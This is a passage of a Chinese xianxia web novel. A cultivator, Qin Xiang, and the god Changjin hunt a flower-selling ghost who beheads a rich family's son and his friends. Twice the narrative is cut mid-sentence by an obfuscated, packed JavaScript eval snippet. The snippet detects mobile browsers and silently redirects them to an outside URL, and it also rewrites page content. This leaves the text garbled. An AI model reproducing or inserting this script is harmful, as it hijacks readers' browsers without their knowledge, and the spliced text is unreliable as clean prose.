一席话说得正义凛然,周围众人也跟着纷纷点头应和:“是啊是啊!”“人言可畏!”“我听说爱造谣者死后去到地府会被拔舌头的吧!”“对,好像是有这种说法!”“对对对,我也听过。” 这下是彻底在这丢脸丢大发了,几个妇人哪里还有那时的嚣张气焰,一个个的都脸红羞愧,不住点头,“知错了,知错了,我们知错了,小仙君放过我们吧,让我们走吧。” 秦湘看向一旁的老人,温声道:“奶奶,她们不敢了,你可要放过她们?” 老人冷冷地盯了她们一会儿,蹲下身去抱起脚边的小白狗,“滚吧,别再让我再听见你们说阿棠的坏话,不然我这把老骨头,拼了命也不会让你们好过!!” “是是是,不敢了,不敢了。” “好了好了,既然奶奶都这么说了,你们就走吧,别再有下次,不然……”秦湘朝她们捏捏拳头,警告的意味昭然若宣。 “是是是,我们真的不敢了,不敢了!!” 说罢,忙不迭地掩面离开,一场闹剧终于揭下了帷幕,人群散去,秦湘扶着老人回了背篓前坐下,又是一顿好言相劝,直到她的情绪彻底平复下来,她才起身离去。 长锦站在一旁,看着秦湘朝他走来,手中还拿着一朵开得正好的芙蕖,她将花递给他,眼睛很亮,笑得灿烂,“神君,送给你。” 长锦伸手接过,“那位老人家给你的?” “是的,给我的谢礼,我不好不要,所以就收下了,”秦湘回头又看了眼那老人,见她正抱着那小白狗讲话,神情温柔,想来应该没事了,她收回目光,“好了,神君,也耽误了不少时候了,我们去那程员外家看一看吧。” 这次委托函书是玉溪城内有名的富商巨贾所托,发的还是急函,快马加鞭十万火急,三天之内差遣了无数小厮前往腾岳之巅递交函书,请求腾岳之巅派人前来捉鬼驱邪。 所以秦湘和长锦甫一到程府门口,刚将函书递给门口的小厮,还未曾说些什么,小厮就已经急忙匆匆地往里跑,“老爷,夫人,腾岳之巅的仙君来了!!” “啊,两位仙君啊,你们可算来了,要是再不来,过了今晚,我儿可就没救了啊!!” 程家的委托任务是捉鬼,程家员外老来得子,膝下只有这么一个宝贝儿子,据说从半月之前,他就开始频繁梦见一个红衣女子。前期还只是单纯地梦见,而那梦中的红衣女子一开始也只是远远地站着,并无动作,所以程家少爷也并未放在心上。 自从四天前开始,梦境就发生了变化,那女子一袭红衣,手中握着一束娇艳欲滴的鲜花,朝着程家少爷走近。她安安静静地,只是看着他,但问题就出在了这,当那程家少爷与那女子视线倏而一对上时,那女子就开始一直跟着他了,口中只询问一句话:“你要不要买花?” 而程家少爷早就被吓得魂飞魄散了,哪里还顾得上要花不要花,后退连连,一路狂奔,可不管他怎么跑,那人永远跟在他身后,捧着一束花,不远不近,不紧不慢。 梦见这个女子的不止程家少爷,还有另外四个与程家少爷交好的玩伴。且很不幸,那四个人,一个接一个,直至今日,正好四个,全部出事。而他们的死法也极其残忍,无一不是尸首分离,在尸首旁边,还有一束娇艳欲滴的花朵,花朵形状如人头骷髅,一串六个,而每死去一个人,那其中的一个骷髅形状就更为逼真,栩栩如生。 “我儿已经神志不清了,一开始他与我说起这个红衣女鬼之时,我还是不信的,可这几日,他日日醒来与我哭诉,谁谁谁已经死了,第几个就轮到他了,让我救救他,我派人去他所说的那几户人家家中一打听,果然与我儿说得死状一模一样,”程员外老泪纵横,哭诉道,“再一相问,那几人生前半个月也如我儿一般,梦见了那个红衣女鬼,道长,你说我儿这是造的什么孽啊,怎就撞上了这等恶鬼啊!道长,你可一定要救救我儿!!” 听到这,秦湘打住了他,“停停停,请等一下,我想知道你儿子又是怎么笃定今晚死的一定是他?” 闻言,程夫人掩面哭泣道:“两位道长,你们跟我来就知道了。” 说罢,便走在了前面带路,秦湘和长锦对望了一眼,随后跟了进去。几人进到一间里屋,只见雕花床榻之上坐着一个年轻公子,本来俊朗的面相如今因为害怕而扭曲。他裹着被子,嘴唇剧烈地颤抖着,看见有人进来,竟更是害怕得不停往被子里缩,“不要杀我,不要杀我,我不要花,不要花,你拿走,你拿走,不要跟着我!!” 程夫人见状,心疼得直掉眼泪,走进去一边拿着手帕擦眼泪,一边将程鸿恩抱在怀里安慰:“儿啊,我的儿啊,别怕,别怕,腾岳之巅的道长来了,等道长给你驱了邪,你就会没事了,没事了,啊。” 程鸿恩此时哪里还听得进什么,早已情绪失控,神志不清,叫得撕心裂肺,“娘,娘,救救我,我看见头在飞,她的头,头断了,在飞,在飞!!在那里,在那里,我怎么甩都甩不掉!!救救我啊,娘,娘!!” 闻言,程夫人更加泣不成声,程员外到底还是一家之主, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787540|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在三人之中还算镇定,他拿过一个桃木盒递给秦湘,长叹一声,悲戚道,“道长,你看看这个吧。” 秦湘接过来看了看,盒子上贴了张镇压符,但没什么用。她随手将符咒撕开,打开盒子,里面摆着的是一束花,状如风铃,可仔细一看,那并不是什么风铃,绿色的根茎上吊着六个小小的人头骷髅,从下至上,其中的四个已经点亮,仿佛吸收了什么灵力精华似的,散发着幽幽的红光,而最上面的两个,还是一副枯萎的样子。 程员外道:“这花就是四天前出现在我儿床边的,其他死去的那四个孩子,我也派人前去看了,他们床前无一不例外,都有一束这样的花,只不过,第一个死去的那个孩子床前的花未曾点亮过,然后以此类推,第二个孩子面前的花亮了一个,第三个亮了两个,第四个亮了三个,而我到了我儿这,亮了四个,这不就代表着,我儿是第五个!道长啊,你一定要救救我儿!” 闻言,秦湘心有所悟,她将那束花拿起,背上顿时一阵汗毛倒竖,一股极寒的阴气从那花身传到了她的手中。她愣了愣,手中聚集灵力,霎时之间,那四个亮起的人头骷髅口中却忽然爆发出了一串尖叫,然后传出了好几个男子的声音,无一不在叫着“不要不要!!”“不要杀我!!”“不是我!!”“放过我!!” 声音锐利凄惨,画面阴森可怖,程家几人顿时脸色煞白,害怕地全身发抖,而程鸿恩听见这个声音,更加是抖如筛糠,一个劲地往程夫人怀里钻。 秦湘又是一阵灵力祭出,手中无端起了一阵焰火,那尖叫着的声音在这烈火的焚烧之下渐渐平息下去,直至彻底消失。秦湘将那骷髅花递给长锦,“神君,你看看,这上面吸附着的好像是那四个人的魂灵。” 长锦接过,细细端详了一番,摇摇头,“不是,这只是一个投影翻版,倒映的只是他们死亡前的神情,真正实体估计还在别处。听他们刚才喊叫的声音,看来,他们与这女鬼倒像是相识的。” 秦湘自然也注意到了这点,是那一句“不是我”,她皱了皱眉头,转头向程员外问道:“程员外,你可听见了,那红衣女鬼的行为极具针对性,所以你家公子可曾有得罪过什么人,亦或是有曾辜负过什么女子?然后害人致死?” 程员外一听,立即否认道:“不可能,我家鸿恩性子温和,在家中又极其孝顺听话,怎会与人结仇。” 而坐在床边抱着程鸿恩的程夫人亦是如此回答,“是啊,我家鸿恩生来良善,怎会害人,定是哪里搞错了。” “可是,目前死的四个人,全部都与你家鸿恩有关,是你家鸿恩的玩伴,那女鬼何缘故,只缠上他们?而那几人死前又为何要说不是他?放过他?” “这……”夫妻两对望一眼,嗫嚅半天,也回答不出所以然来,程夫人含着泪,喃喃道:“不会的,鸿恩明明在我们面前是一个很听话孝顺的孩子,怎么可能害人呢,会不会,会不会是他被人要挟?” 秦湘叹了口气,直接道:“也许你家孩子只是在你们面前是这样的,在别人面前就不是这样的了,温和良善,孝顺听话,只不过是他想让你们看见的而已。” 听了秦湘的话,夫妻俩脸色苍白,如果这女鬼要真是程鸿恩造下的孽缘,那这一切都不好办了,没抓住女鬼,程鸿恩难逃一死,抓住了女鬼,杀人偿命,还是难逃一死。 房间一时安静下来,长锦负手而立,一脸平淡。秦湘看着那面色如纸,沉默不语的程氏夫妇,终究还是于心不忍,叹息道,“好了好了,现在说什么都还只是猜测,真相到底是怎样的,谁也不知道,你儿如今这个情况,也问不出什么,看今晚吧,一切等抓住那个女鬼之后再说,万一是我言错,你们的儿子真是温和良善的,那我定会行我之责,捉妖锄邪。” 程员外叹了一口气,道,“如此,就多谢道长了。” “但是,”秦湘话锋一转,“如果你儿子真是因为做了什么伤天害理之事才被恶鬼缠身,那……” 程员外手指捏拳,打断秦湘,咬牙道:“我知道,腾岳之巅以善为本,只看本心,道长放心罢,如果,如果……鸿恩真是因为自己而造下此等孽缘,我定不会让道长为难,我程家百年家训,行善积德,尽忠尽孝,届时,我自会将他交予公堂处置。” 程夫人嘴角颤抖,想说什么,终究还是没说出来,她抱着程鸿恩,眼泪簌簌。 秦湘本来以为就从程家夫妇一口一个宝贝儿子,救救我儿的态度来看,这事如果要真和他儿扯上什么关系还挺棘手。结果倒是没想到程员外却是个心中有如此气节的人,愣了愣,朝他抱拳作了一揖,肃然道,“如此,那就请程员外记住自己说过的话。” 20.卖花孤女 是夜,秦湘站在程鸿恩房间门口。 此时的她,着一袭男子服饰。长锦站在她身边,手上拿着一张假面,假面上绘着的是一副男子五官。秦湘伸手整理着腰封衣摆,又接过长锦手上的假面带在脸上,再抬头时,她顶着的已经是程鸿恩的脸了。 程氏夫妇走了过来,不敢置信地看着她愣了半晌,才反应过来,走过去,将一个锦囊递给秦湘,“道长,给,这是你要的,鸿恩的一缕头发。” “好,”秦湘伸手接过,“程鸿恩现在睡着的那间屋子我已经布下了结界,你们等下也进到那里去,今晚无论听见什么声音都不要打开门也不要出来。” 程氏夫妇连忙道,“好,好,好,一切都由道长来安排。” 秦湘将那锦囊系在腰间,有了程鸿恩的头发,又换成了这身行头,一切准备就绪,今晚就由她来代替程鸿恩,会一会他口中那个头会飞的红衣卖花女鬼。 程氏夫妇已经离去了,秦湘整理好衣襟,一个抬头,长锦还站在她面前,她一愣,“神君?” “我就站在门外,”长锦抬眼看着她,嗓音温和,“你若应付不了她,就唤我一声。” 秦湘一怔,心下微动,旋即笑了,她点点头,乖乖巧巧地应了,“好。” 说罢,就准备推门进去,指尖正触及门扉,又听见身后长锦喊她,“秦湘。” 秦湘脚步一顿,回头,“怎么了?” 长锦指尖凝聚着金红色的光华,他拉起秦湘的右手,在秦湘掌心轻轻一点,光华变成一条明亮的红线,一头连接着秦湘,一头连接着长锦,秦湘摸摸自己的手心,“这是?” “联结术,这样你在哪里我都能找到你,也能暂时地护你安全。” 闻言,秦湘愣了愣,半晌,还是莞尔一笑,“好,那我进去了?” “嗯,进去吧。” 秦湘推门进了程鸿恩房间,躺在床榻之上,四下寂静,黑暗中,只有她身旁那束骷髅花在散发着幽幽的光亮,她默默地盯着看了一会儿。 明明是这么恐怖的场景,她的脸却很烫,心跳也有些快,她将右手展在眼前,刚才长锦指尖点过掌心的触感仿佛还在。像电流般划过心底,今晚的神君莫名的好温柔,等秦湘回神时,她才反应过来自己在回想些什么! 没出息,恶狠狠地抽了自己右手一巴掌,秦湘猛地将头埋进枕头里。她已经完全忘记了自己现在是程鸿恩的模样,这副男人娇羞的模样但凡让第二个人看见,怕是要惊得外焦里嫩了。 “呼呼---” 一阵阴风凭空而起,擦着她的后颈而过,秦湘心脏猛然一跳,激起了一层鸡皮疙瘩。 来了。 她脑中瞬间清醒,迅速翻了个身,阖眼装睡。 黑暗中的感官被无限放大,秦湘闭着眼,耳朵听着房间内一切细碎的声音,又是一阵阴寒的微风拂过。这回,房间里响起了一个轻微的脚步声,一步,两步,三步,正在向着秦湘走近,与此一同传来的,还有一阵淡淡的花香。 脚步在床边停下,秦湘能感觉到那东西此时就站在她旁边,低头看着她。黑暗中,一只冰凉的手,就那么直接地摸上了她的脸,慢慢地,顺着她的脸又滑向了她的脖颈。 秦湘心里都被她摸得直发毛,只感觉脖颈之上的手正慢慢地从手背换成五指。 她不会想掐死我吧?这一个念头在秦湘的脑海之中迅速闪过,然后下一秒,就被她否决了,因为前几个死者的死法都是尸首分离。 但是脖颈这么致命的部位就这么直接送到敌人手上实在不妥,秦湘再也装不了了,她猛然一睁眼,用力拂开她面前的那只手,然后起身往后一退,与面前的人拉开一段安全距离。 做完这一切,秦湘才抬头去瞧面前这个所谓的无头卖花红衣女鬼的模样。可她抬眼望去,看到面前的鬼时,不由得双眼睁大,全身一怔。 只见秦湘床前站着个姑娘,约莫十七八岁的年纪,雪肤明眸,眉眼如画,一袭粉衣清清冷冷,我见犹怜,手中还握着一束开得正好的芙蕖。如果不是她脖颈之上那一圈如刀切面一般的红色伤疤,彰示着她并不是活人,秦湘真想说一句,这是仙女吧?生得未免也太过标致了点! 看着面前的姑娘,秦湘在心中默默想起了沈清桐,就看样子,面前人与沈清桐像是一种模子里刻出来的一样,都是这种看上去温婉端庄的,只不过沈清桐更加温柔可人些,面前这位姑娘瞧上去就更加清冷孤傲些。 但不管怎么瞧,这都不像是吓人的红衣断头女鬼啊?真不知道那程鸿恩是怎么想的? 秦湘心中震惊,面上微愣。而她以程鸿恩的模样露出这副样子落在对面那女鬼眼里,就让那女鬼也放下了警惕。 她本来还疑问为何今日他会清醒?但看着秦湘这副后退呆愣的动作,也没多想,朝她微微一笑,手中的荷花在她面前轻轻一挥。 秦湘只觉得鼻尖一阵清香拂过,眼前也似有一黑,她闭了闭眼,待再睁眼之时,她已经不在程鸿恩的房间之内了,此时的她,正站在一条长街上。 看来是那个女鬼开启的幻境,本来按流程她是应该进入程鸿恩的梦境之中的,但今晚的程鸿恩并非是彼程鸿恩,而是秦湘。她也没料到她没睡着,而是醒着,所以便换了种方式,将她拉入了这幻境之中。 秦湘站在这条长街之中,走了两步,四下观察。这长街的建筑布局方式,倒像是玉溪城内的某一条街,只不过,现下,这条长街上空无一人也空无一物,只有秦湘站在这天地惶惶之中。 忽然之间,在秦湘面前的街道之上凭空浮现出了一阵一阵白雾,而白雾之中,一个人影若影若现。秦湘眯了眯眼,待雾散去,方才在房间内和她打了照面的那个女鬼姑娘正出现在她面前,与她隔得有十丈远。 那姑娘手捧荷花,眼神死死锁住秦湘,嘴唇一张一合,声音清冷:“你要买花吗?” 哦豁,这句话来了,程鸿恩就是说,那女鬼就是问了这句话,然后他又和她目光对上之后,然后就被跟上了,怎么甩也甩不掉。 现下,秦湘两件都遇上了,听也听到了,目光现在也对视上了,但对面的女鬼却并没有进一步的动作,没有动作,就不知道她到底是怎么出的杀招,也不清楚她的底细,还不能这么早暴露。 想到这,秦湘挪开眼,朝着对面的女鬼道:“不用了,谢谢。”说完,转身就跑。 “你要买花吗?”声音近在咫尺,仿佛是贴在她的耳边说的一样。秦湘心中大骇,手中凝聚灵力,转头去瞧,而这一眼,饶是她心中事先再有什么心理准备,也给她吓得够呛! 只见身后那姑娘不知从何时起,已是尸首分离,她的身体还站在原处,手捧鲜花,一动不动,脖颈处正源源不断地往外流着鲜血,血液顺势而下,将她的粉衣染成了鲜艳的红色,而她的头颅,此时正飞在空中!! 是的,没错,是飞在空中!! 那颗头颅此时正贴着秦湘,距离不远不近,不管秦湘跑得有多快,它永远和她只保持着几尺的距离,脖颈之处的断口还在不断滴落着鲜血,但它什么也感觉不到,只是目光悠悠地盯着秦湘,口中还在不断念着:“你要买花吗?” “啊啊啊啊啊!”秦湘吓得抱头鼠窜。 “救命啊~啊啊啊啊啊~”长街之上,只留下了秦湘鬼哭狼嚎般中气十足的叫声。 那女鬼见她如此模样,脸上的表情也随之发生了变化,这一回,她的口中,说出的不再是那句魔咒一般的“你要买花吗”了。 “程鸿恩!原来,你也会有这副模样,哈哈哈哈哈哈,救命?你也会喊救命?今日还有谁能救你的命?拿命来吧。”说完,那立在原地不动的身子也猛然朝着秦湘飞来,下一秒,跟在秦湘身后的头颅也飞回了脖颈之上。 那女鬼此时哪里还有最初清冷如画的样子,她一袭红衣如血,手中的荷花也变成了一串六个人头的骷髅花,其中四个已经点亮,而第五个,仿若活过来般,脱离了根茎,变得奇大无比,朝着秦湘张大嘴巴,就直冲着她的头而来,竟是妄想着将她的头颅一口咬下。 原来,那几人的死法就是这样!!在梦中被这骷髅花一口咬掉头颅,而现实里,尸体自然也就是尸首分离的模样!! 看到了这些之后,秦湘不跑了,她转身面对着那直冲她而来的骷髅头,喝道:“烈云!” 烈云剑应召出现在她的手中,秦湘提剑就是一记猛刺,女鬼只当她是程鸿恩,自然不设防她会突然召出法器来给她一击,于是一剑正中红心,那骷颅头被她一剑捅中,发出了一阵惨烈的尖叫,而那被刺中的地方也霎时黑雾萦绕。 骷髅头被女鬼收了回去,又回到了那茎杆之上。女鬼看着面前的秦湘,又看着她手中的烈云剑,半晌,皱着眉头,语气冰冷,道:“你不是程鸿恩,你是谁?为何插手?” 秦湘回答道,“程员外是我的委托人,说他儿被恶鬼缠身,委托我前来捉鬼,不过,我看姑娘如此,这其中是不是有什么苦衷?如果有隐情,我定会为姑娘鸣冤。” “鸣冤?”那女鬼仿佛听见了什么天大的笑话般,她双目赤红,面目因为恨极而变得狰狞,她狂怒着大笑起来,“哈哈哈哈哈哈,我不需要鸣冤,我有什么冤!我只要程鸿恩的命!你若执意要拦在我的面前,那我只能连你一块杀了!” 说罢,她目光一狠,眼睛中闪耀着妖冶的红光,锋利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795148|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的五爪朝着秦湘猛然刺来,秦湘手中烈云剑也灌满灵力,火红的烈焰席卷着剑身,提剑迎上。 一人一鬼就在这阴气森森的长街之上堪堪过手十余招,秦湘一边压制着女鬼的攻击,一边与她说话,“姑娘,你何至于此?六条人命的代价太大,你回归地府之后因此若是影响了你转世的气运,那可所谓是得不偿失?” “何至于此?!地狱空荡荡,恶魔在人间,”那女鬼歇斯底里地暴怒起来,“只要能杀了他们,就算我永堕十八层地狱,挫骨扬灰,灰飞烟灭又有何妨,谁也不能阻我!!” 红衣更甚,鲜血不住地从她的衣角滴落,长发乱舞,竟是更加暴怒失控了。女鬼嘶叫着,朝着秦湘再度伸出利爪。秦湘双手合十,低声道:“得罪了。” 然后提着烈云再上,女鬼毕竟是鬼,并无实体,秦湘放出灵火之力,淬在烈云剑身上,毕竟是烈焰火域里的火,所以对付这种阴邪之体,自然也有着几分压制作用,又继续交手十几招,秦湘飞身而起,在女鬼的嘶嚎之中迅速一击,将她击倒在地。 秦湘站在她的面前,指尖凌空画出一个清心诀,朝着女鬼一点。女鬼身形僵住,不能动弹,但眼中精光闪动,声音怨毒:“啊啊啊啊啊——你放开我!放开我!!” “我本无意伤害姑娘,也并非是要阻你,如果真是那程鸿恩有负于你,那他自然要受到他该有的惩罚,杀人偿命,天经地义,本就是无可厚非的事情,”秦湘叹了口气,“但是目前程鸿恩是我的委托人,在事情真相没有大白之前,我还不能让他死,所以,对不起,姑娘,你得跟我走一趟。” “哈哈哈哈哈哈,你说得如此好听,可谁知道你会不会和程家就是一伙的,收人钱财,替人办事,在你们这些人眼里,没有对错,没有善恶,只有利益!!”女鬼说着,眼神一凛,而一开始的那束骷髅花也凭空而出,朝着秦湘猛然袭来,秦湘一惊,迅速掠开,和女鬼拉开一段距离。 女鬼扶着肩膀,摇摇晃晃地站直了身体,那束骷髅花围绕着她飞舞了两圈,然后渐渐地融入了她的身体。秦湘心下一动,只感觉她身边的磁场气息在瞬息之间变化了起来,一种无形的压力迅速在周边蔓延开来。 “你不是要抓我吗?你不是要替我鸣冤吗?在这之前,不如先让我看看你的真面目!”话音一落,女鬼掌中亮起幽幽红光,忽然之间,一道藤条从她身后迅速向秦湘袭来,直冲她的门面。秦湘暗叫不好,可长街此时仿若成了女鬼的主场,在这里所有的空间,尽数都是她的压力磁场。 所以在这压力的影响下,秦湘行动受制,变缓慢了许多,藤条擦着她的脖颈而过,鲜红的血珠迅速沿着伤口滑落。还未等她再反应过来,一棵高大的由无数骷髅头组成的巨树自长街鲜血横流的地面拔地而起,四道藤条从巨树之中破风而出,将秦湘手脚一一扼住,吊在空中。 烈云剑也就此脱手,掉在地面,发出一声清脆的铮然嗡鸣。秦湘双眼睁圆,心中大骇,简直不可思议!突然想起长锦说过的,程鸿恩他们床前的那束骷髅花只是模型翻版,那现在由女鬼召出的这一束那肯定就是本体了,只是这东西到底是什么!灵力强悍到竟能让一个普通的鬼魂直接操控一整个空间磁场!! 女鬼抬头看着秦湘,桀然一笑,飞身前来,虚虚立于秦湘面前,“既然道长你如此好心要帮我,那就让我先看看你的真面目吧,这样,我才能记住你,然后报恩于你啊。”她说着,鲜红的手指就顺着秦湘的脖颈摸上了她的面颊。 秦湘一惊,就要挣扎着,但她四肢都被禁锢地死死地,一身灵力也被这藤条压制着,自然是无用功。脸上的假面被女鬼用力揭下,秦湘闭一闭眼,心道,完了,死了,头要被拧掉了! 然后预想之中的疼痛感并没有传来,四周一片静谧,秦湘试探性地睁开了一只眸子,只见面前女鬼的脸离她离得极近。幸好她也已从红衣状态变回了一开始的粉衣状态,不然秦湘一睁眼看见的就是一张七窍流血鬼气森森的脸放大在眼前,非得吓死不可。 “嗯?”秦湘疑惑地看向对面的女鬼,而对面的女鬼此时散去了一身阴气,她皱着眉头,用一种极认真极认真的眼神仔仔细细地打量着秦湘脸上的每一寸肌肤。 虽然不知道她在看什么,但变回了原样的女鬼长得是极美的,被这样一张标致的脸盯着,又离得这么近,秦湘突然就生出了些不好意思来,她有些尴尬地想移开视线,但脸还未偏过去,就被女鬼又捏住了下巴将她移了回来。 秦湘真的招架不住了,她眨眨眼,“姑娘?” 女鬼回了回神,正欲开口说话,一阵巨大的波动就在这幻境之中躁动开来,与此同时传来的,还有长锦的声音,“秦湘。” 21.猫妖三花 女鬼收回手,冷冷地看了秦湘一眼。下一秒,束缚住秦湘的藤条就倏地松开,秦湘心下一惊,眼看着就要狠狠地摔落在地。 女鬼手一挥,一朵巨大的荷花花影就出现在了秦湘脚底,将她稳稳托住,又轻轻地放在了地上。 秦湘站起身来,将掉落在地的烈云剑捡起,看向女鬼,眼神之中也是充满疑问。 她没想过危急关头,这女鬼看见了她的脸竟然会放过她,而且看她的神情,好像分明是认识她的样子。可是她印象之中,并没有见过这样一个人。她顿了顿,轻声问道:“姑娘你为何会放过我?瞧你神情,你认识我是吗?” 女鬼却不回答她这个问题,在她身后,蓦然出现了一个红色漩涡,看上去就像是个传送法阵通道。女鬼转身,声音冷淡:“你不要插手这件事了,不然我真的会杀了你的。” 话音一落,长街之中那棵巨大的骷髅树化成了点点血光消失不见,女鬼手中又多了一束娇艳欲滴的荷花。她身形飘然,眼看着就要进入那漩涡之中离去。 “等一下!!”女鬼收回了那骷髅花,这长街之中的磁场压力也随之消失不见。秦湘看着她即将消失的身影,一着急,也是御剑而起,在那个红色漩涡彻底消失之前,跟了进去。 这真的是一个传送法阵,秦湘甫一进去,御剑就不起作用了。这次就没这么幸运了,她愣了一下,连人带剑直接掉了下去。她摸摸摔得生疼的屁股,一个鬼影在她不远处闪过,是女鬼。 顾不得头疼屁股也疼的了,秦湘抓起掉在一旁的烈云剑就爬起身来跟上。女鬼身影极快,秦湘追地极其费劲,忙道:“等一下,请等一下!!” 听见她的声音,女鬼一愣,冷冷地回头,一双柳叶眉紧紧地蹙起,“你怎么跟上来了?” “姑娘……”不能御剑,传送通道内又没有可以借力用轻功的东西,所以鬼是用飘的,秦湘是用跑的。她此时累得气喘吁吁,讲起话来三字一喘,“如果……你真的有冤屈,我是、真的、真的能帮你的,你……” “不需要,”女鬼毫不犹豫地打断了她,目光一冷,低声道,“别跟着我,走!” “喂……”话音未落,秦湘站着的传送法阵通道地面却忽然一空,她低头一瞧,所有未说完的话全部堵在喉间,而她!!又又又一次经历了从空中掉下的场景!!! 秦湘都气笑了,真是造了孽了,一个晚上掉三回,且回回都没个心理准备。 秦湘在空中双手捏诀,只想着不管这个诀能召唤个什么东西出来,只要能稳住身形就好,别再摔得那么惨了,真的太惨了。 巨大的心惊之下,她也没注意到右手掌心那若明若现的红线。眼看着马上就要落地,她指尖一点地面,地面上光华大起,刺得她睁不开眼睛。下一秒,她就落在了一个稳稳的怀抱之中。 秦湘眨了眨眼,光华散去,首先映入眼帘的是一抹熟悉的蓝色衣襟,再一抬头,长锦那张温和俊秀的脸近在咫尺。 原来她竟是直接掉进了长锦怀中。秦湘愣了一愣,眨了眨眼,“长锦神君?你怎么也在这?”不等长锦回答,她又转眼打量了一番四周,这里不是程鸿恩房间,而是一条长街,此时已过了宵禁时间,长街之上空无一人,“这又是哪里?玉溪城街上吗?” 长锦没有回答她,目光从她脸上移开,落在了她的脖颈之上。那里此时已经没有血珠溢出,只剩一条浅浅的血痕,“你受伤了?” 但秦湘现在的整颗心思都在已经离开的女鬼身上,她从长锦怀中跳下,按住了长锦要去查看她伤口的手,摇摇头道:“我没事我没事,神君,你怎么在这里?你来的时候有没有看见那女鬼往哪里跑了,我本来都已经抓住了她了,可她身上,有一件很厉害的法宝,应该就是我们那时候看见的那束骷髅花的本体,它邪的很,可能和那幕后之人真的有关系,我们必须追上她。” 长锦也按住了她,冷静地道:“你先别急。” “我怎么可能不急呀,终于发现了一点关于那幕后之人的线索,而且这个委派任务根本不是捉鬼这么简单。程鸿恩不是好人,这里面可能牵连颇深,必须得尽快找到那个女鬼,才能知道真相,”秦湘边说着,边想着,“可惜她把我扔出那个传送阵法通道了,我又开不了那种传送阵法,现在失去了她的踪迹,程鸿恩这边也已经打草惊蛇,她未必会再直接现身了。” 比起焦急的秦湘,长锦真的算很淡定了。他双手按住秦湘的肩膀,温声道,“秦湘,别急,传送阵法我能开,只要有沾染了那个女鬼的气息之物作为媒介,我就能找到她。” 闻言,秦湘一顿。修仙者再怎样也只是人,不比三界其他生灵,他们能使用灵力,但是很多种情况之下还是得借助外力才能最大程度地发挥出身体的灵力。 比如要借助符咒或者法宝之类的,除此之外,很多时候并不能做到完全的凭空而飞或者虚空造物。除非飞升成仙,否则这种凭虚捏造出来的传送阵法空间,秦湘是开不了的,但是长锦已经飞升成神,他自然能开。 想到这,秦湘面露喜色,连忙道:“对哦,神君你可以开!”顿了顿,又道,“可是也不对啊,就算神君你能开,也要有那个女鬼之物啊,可是我们什么也没有,怎么找她?” “我们有。”长锦边说着,手一摊,一束小小的骷髅花正躺在他手心散发着幽幽的红光。 “这是程鸿恩床边那束?”秦湘拿起来看了看,“可是神君你不是说这只是个投影翻版,本体在女鬼手上,凭借这个也能找她吗?” “能的,虽然这不是本体,但这也是她幻化出来的,又是由她放在程鸿恩床边的,自然可以。” “原来如此,”秦湘了然地点点头,顿了顿,又抬起头,拉着长锦转身就走,“那事不宜迟,我们快去找她吧。” “等一下。”长锦将她又拉了回来。 秦湘一脸懵然,她面向着他,眨了眨眼,“怎么了?” 长锦没说话,他侧目又看向了秦湘的颈边,秦湘看着他的目光,也回过神来了。方才长锦问她的第一句话就是问她的这个伤,可她那时候太着急了,直接略过了这个话题。如今对上了他的眼神,秦湘又倏忽想起了在程鸿恩房间门口时长锦的神情,面颊不由得有些发烫。 她伸手捂上了自己的脖子,遮住了那道浅浅的伤痕,不自然地移开眸子,下意识地不敢与长锦目光相交,轻咳一声,解释道:“这个是在和女鬼交手的过程中不小心,她也不是故意的,这点小伤口我一点都不痛,不用在意,不用在意,我们还是快些去找女鬼吧。” 长锦皱着眉头没有说话,只是盯着她,目光自她脖颈之上移到了她的脸上。不知道为什么,秦湘隐约觉得他这副样子让她有点小害怕。 她坚持不住了,往后退了两步,声音也不利索了,“……神……神……神君?” 长锦往前也走了两步,她捂着脖子又往后退了两步,这副场景要是让个其他人来看,怎么看怎么不正经。 秦湘正心慌着,长锦停下了脚步,抬手盖在她捂住脖颈的手上,修长匀称的手冰凉凉的,与秦湘一只滚烫的手甫一相贴,秦湘顿时觉得自己全身发烫起来。 她慌忙着就要倒退,长锦伸手将她捞了回来,嗓音温和,低声道:“秦湘,你不要动。” 秦湘呼吸一滞,果然不动了。 长锦一只手轻扶住秦湘的肩,一只手贴在她的脖颈之上,暖色的光华在他掌心轻轻流转,缓缓渗入皮肤肌理。待光华散去,长锦才放开双手,后退一步,道:“好了,没事了。” 秦湘摸了摸脖颈,那里肌肤完好无暇,原来长锦只是为了给她疗伤罢,这副架势倒是真的给她吓了一大跳。见长锦面上并无其他,秦湘才松了一口气,正待说些什么,忽而一道声音就从她身后传来,“啧啧啧,秦湘,你这大半夜的,一副这种打扮在这干嘛呢?” 一听这声音,秦湘抬起头转身往后看去。在两人面前,立着一个身形高挑,样貌俊美的男子。 男子一袭月色锦衣,头上偏偏地带着一个狐狸面具。手中提着几个油纸小包裹,唇瓣含笑,眉眼修长疏朗,一双温润如水的眸子此时正盯着秦湘和长锦看。 秦湘一看见这人,声量都提大了几分。她站在长锦面前,一种诧异又嫌弃的复杂情绪在她脸上浮现出来,“乔玉洲?!你在这里干什么?” 乔玉洲摊开双手,笑道,“这不是显而易见的吗?逛完夜市刚回来。” “逛夜市?”秦湘看了看漆黑的天,嘴角抽了抽,“这都什么时辰了,还逛夜市?”她突然想起乔玉洲之前的做派,于是睁大了双眼,脱口而出道,“你这半夜三更的,不会是去做采花大盗的吧?” 